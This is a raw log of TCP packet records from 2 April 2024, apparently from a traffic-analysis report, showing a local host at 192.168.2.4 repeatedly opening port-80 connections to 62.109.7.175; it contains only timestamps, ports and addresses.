Apr 2, 2024 23:43:01.895498037 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.092643023 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.093149900 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.093863010 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.175787926 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.176259041 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.176475048 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.371974945 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.377970934 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.381058931 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.426176071 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.457200050 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.457212925 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.464093924 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.464148998 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.503212929 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.503278971 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.511729002 CEST	80	49771	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.512360096 CEST	49771	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.661616087 CEST	80	49777	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.663328886 CEST	49777	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.781430960 CEST	80	49776	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.781517982 CEST	49776	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.784558058 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:02.784626007 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:02.784773111 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.066169977 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.066620111 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.066829920 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.348431110 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.355294943 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.410566092 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.490611076 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.491075039 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.769125938 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.769222975 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.769397020 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:03.772156954 CEST	80	49778	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:03.772279978 CEST	49778	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.048974991 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.049444914 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.049693108 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.327750921 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.335450888 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.379313946 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.455712080 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.456048965 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.733983994 CEST	80	49779	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.734054089 CEST	49779	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.737070084 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:04.737144947 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:04.737322092 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.018300056 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.018675089 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.018866062 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.300024986 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.306765079 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.348066092 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.459530115 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.459850073 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.740537882 CEST	80	49780	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.743290901 CEST	49780	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.743587017 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:05.748784065 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:05.901397943 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.185137033 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.185658932 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.185877085 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.470798016 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.477550983 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.519959927 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.605355024 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.605587959 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.889062881 CEST	80	49781	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.889134884 CEST	49781	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:06.889224052 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:06.889301062 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.043893099 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.329617977 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.329988956 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.358200073 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.399688959 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.475508928 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.609163046 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.642115116 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.642191887 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.648463964 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.648519039 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.684159994 CEST	80	49782	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.684211969 CEST	49782	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.757968903 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.758053064 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.758233070 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.892055035 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:07.892132044 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:07.892307997 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.040467978 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.041047096 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.042103052 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.175082922 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.175632000 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.175823927 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.324575901 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.331032991 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.379321098 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.458801031 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.465116024 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.519946098 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.580321074 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.580343962 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.580631018 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.857501030 CEST	80	49785	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.857580900 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.857729912 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.862760067 CEST	80	49783	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.862811089 CEST	49783	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:08.863100052 CEST	80	49784	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:08.863147974 CEST	49784	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:09.134845972 CEST	80	49785	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:09.135485888 CEST	80	49785	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:09.148458004 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:09.425609112 CEST	80	49785	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:09.432259083 CEST	80	49785	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:09.488712072 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:09.550646067 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:09.828530073 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:09.828613997 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:09.828775883 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.106713057 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.106983900 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.107144117 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.385242939 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.385394096 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.392246962 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.441832066 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.516926050 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.517175913 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.794779062 CEST	80	49786	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.794900894 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:10.794972897 CEST	49786	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.795026064 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:10.795178890 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.072904110 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.073385000 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.075161934 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.353319883 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.360385895 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.410586119 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.485851049 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.486078024 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.763227940 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.763851881 CEST	80	49787	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:11.763932943 CEST	49787	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.763945103 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:11.764117002 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.043333054 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.043431044 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.043648958 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.320684910 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.326972961 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.379340887 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.457915068 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.458169937 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.735258102 CEST	80	49788	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.735322952 CEST	49788	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.741595030 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:12.742167950 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:12.742342949 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.025783062 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.026240110 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.027462006 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.311047077 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.311063051 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.318451881 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.333388090 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.363706112 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.434993029 CEST	49785	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.440700054 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.617188931 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.617295980 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.617480993 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.725507975 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.725589991 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.725744963 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:13.901061058 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.901559114 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:13.901771069 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.009954929 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.010365009 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.010551929 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.185630083 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.192584038 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.238703012 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.295089006 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.302747965 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.348071098 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.444878101 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.444947958 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.444992065 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.445291042 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.722280979 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.722361088 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.722536087 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.728158951 CEST	80	49789	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.728565931 CEST	49789	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.728770018 CEST	80	49790	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.728820086 CEST	49790	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.729135990 CEST	80	49791	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.729183912 CEST	49791	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:14.999242067 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:14.999665022 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.000734091 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.277693033 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.285120964 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.332467079 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.408303976 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.408648968 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.685671091 CEST	80	49792	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.687311888 CEST	49792	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.691020966 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.691116095 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.691276073 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:15.975658894 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.976140976 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:15.976325989 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.258655071 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.266170979 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.316823006 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.402797937 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.403063059 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.682845116 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.683823109 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.684020042 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.685293913 CEST	80	49793	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.685784101 CEST	49793	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:16.963692904 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.964195013 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:16.964375019 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.244136095 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.251986980 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.301203966 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.380142927 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.380558968 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.659862041 CEST	80	49794	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.659979105 CEST	49794	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.662312984 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.662717104 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.662924051 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:17.944940090 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.945380926 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:17.945580959 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.227312088 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.233563900 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.285582066 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.367104053 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.371253967 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.648839951 CEST	80	49795	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.651599884 CEST	49795	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.653858900 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.654035091 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.686503887 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:18.969191074 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.969574928 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:18.969744921 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.208558083 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.208694935 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.252494097 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.259717941 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.259797096 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.331039906 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.490861893 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.491054058 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.491229057 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.491439104 CEST	80	49796	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.491597891 CEST	49796	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.613909006 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.614049911 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.614187956 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.773104906 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.773629904 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.773876905 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:19.897068024 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.897383928 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:19.897602081 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.057054996 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.065526962 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.113702059 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.180561066 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.196822882 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.238770008 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.315114021 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.315253973 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.315457106 CEST	49800	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.594005108 CEST	80	49800	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.595046997 CEST	49800	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.595232010 CEST	49800	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.597206116 CEST	80	49798	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.597259045 CEST	49798	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.598164082 CEST	80	49799	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.600989103 CEST	49799	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:20.873586893 CEST	80	49800	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.874099016 CEST	80	49800	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:20.874465942 CEST	49800	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:21.152997017 CEST	80	49800	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:21.160856009 CEST	80	49800	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:21.207475901 CEST	49800	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:21.281773090 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:21.565321922 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:21.565506935 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:21.584095001 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:21.865504026 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:21.865986109 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:21.866152048 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.147622108 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.154520988 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.207510948 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.283514023 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.283832073 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.564961910 CEST	80	49801	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.565035105 CEST	49801	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.568274021 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.568367004 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.568556070 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:22.853012085 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.853460073 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:22.853653908 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:23.139755011 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:23.146673918 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:23.191864967 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:23.274844885 CEST	49802	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:23.275070906 CEST	49803	80	192.168.2.4	62.109.7.175
Apr 2, 2024 23:43:23.559792995 CEST	80	49802	62.109.7.175	192.168.2.4
Apr 2, 2024 23:43:23.559855938 CEST	80	49803	62.109.7.175	192.168.2.4
